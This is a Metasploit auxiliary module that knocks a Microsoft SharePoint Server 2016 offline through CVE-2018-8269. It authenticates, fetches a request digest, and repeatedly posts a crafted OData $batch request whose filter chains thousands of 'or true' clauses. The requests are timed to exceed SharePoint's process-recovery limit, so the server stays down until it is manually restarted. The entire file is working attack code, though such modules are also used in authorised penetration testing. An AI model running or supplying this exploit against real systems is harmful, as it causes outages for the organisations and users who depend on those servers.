Microsoft Office SharePoint Server 2016 Denial Of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
require 'sharepoint-ruby'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
include Msf::Exploit::Remote::HttpClient  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DOS Vulnerability in SharePoint 2016 Server',  
'Description' => %q{  
A vulnerability in Microsoft SharePoint Server could allow a remote attacker to make the server unavailable.  
The vulnerability is a result of the dependency SharePoint has in Microsoft.Data.OData library which was   
vulnerable to remote DOS (See CVE-2018-8269). The exploit is done by sending a crafted request that contains  
an OData filter that triggers the vulnerability in Microsoft.Data.OData library. Sending such request, will  
terminate the process that runs the server. By default, SharePoint server is configured to recover a  
terminated process, but it will do so only 10 times. If more than 10 malicious requests are sent in 5  
minutes interval, the server will not recover and will be down until it is manually restarted.  
},  
'Author' =>  
[  
'Gil Mirmovitch', # Vulnerability discover and poc  
'Gal Zror' # Metasploit module  
],  
'Platform' => 'win',  
'References' =>  
[  
[ 'CVE', '2018-8269' ],  
[ 'ALEPH', '2018002' ]  
],  
'Targets' =>  
[  
[ 'Microsoft Office SharePoint Server 2016', { } ],  
],  
  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]),  
OptString.new('USERNAME', [true, 'The username to login with']),  
OptString.new('PASSWORD', [true, 'The password to login with']),  
OptString.new('VHOST', [true, 'HTTP server virtual host'])  
], self.class)  
  
end  
  
def fetch_auth_cookie  
print_status("Fetching Authentication Cookie")  
begin  
site = Sharepoint::Site.new vhost, 'server-relative-site-url'  
site.session.authenticate datastore['USERNAME'], datastore['PASSWORD']  
return site.session.cookie  
rescue Sharepoint::Session::AuthenticationFailed  
fail_with(Failure::NoAccess, "Authentication failed")  
end  
print_good("Authentication Succeeded")  
end  
  
def extract_digest_value(cookie)  
token_api_uri = '/_api/contextinfo'  
res = send_request_cgi( {  
'method' => 'POST',  
'uri' => normalize_uri(token_api_uri),  
'cookie' => cookie,  
})  
if res.nil?  
fail_with(Failure::UnexpectedReply, "Empty context response")  
end  
res.get_xml_document.xpath('//d:FormDigestValue').text  
end  
  
def send_dos_request  
send_request(6100)  
end  
  
def send_innocent_request  
send_request(5)  
end  
  
def send_request(reps)  
vuln_api_uri = "/_api/$batch"  
cookie = datastore['COOKIE']  
  
data = Rex::MIME::Message.new  
data.add_part(  
"GET /_api/web/lists?$filter=true" + "+or+true" * reps + " HTTP/1.1\r\n" +  
"accept: application/json;odata.metadata=minimal\r\n", #Data is our payload  
'application/http', #Content Type  
'binary', #Transfer Encoding  
nil #Content Disposition  
)  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(vuln_api_uri),  
'ctype' => "multipart/mixed; boundary=#{data.bound}",  
'data' => data.to_s,  
'cookie' => cookie,  
'headers' => {  
'x-requestdigest' => extract_digest_value(cookie),  
}  
  
})  
end  
  
def dos  
print_status("Sending DOS malicious requests...")  
(0..10).each {|i|  
print_status("Countdown #{10 - i}...")  
send_dos_request  
sleep(60)  
}  
  
end  
  
def check  
datastore['COOKIE'] = fetch_auth_cookie  
  
print_status("Sending innocent request...")  
res = send_innocent_request  
  
if res && res.code == 200  
print_good("Server responded 200 to innocent request")  
else  
print_bad("Server response " + res.code.to_s + " to innocent request")  
return Exploit::CheckCode::Unknown  
end  
  
print_status("Sending malicious request...")  
res = send_dos_request  
  
if res.nil?  
Exploit::CheckCode::Vulnerable  
else  
print_bad("Server response " + res.code.to_s + " to malicious request")  
Exploit::CheckCode::Safe  
end  
end  
  
def run  
if check == Exploit::CheckCode::Vulnerable  
dos  
end  
end  
end  
`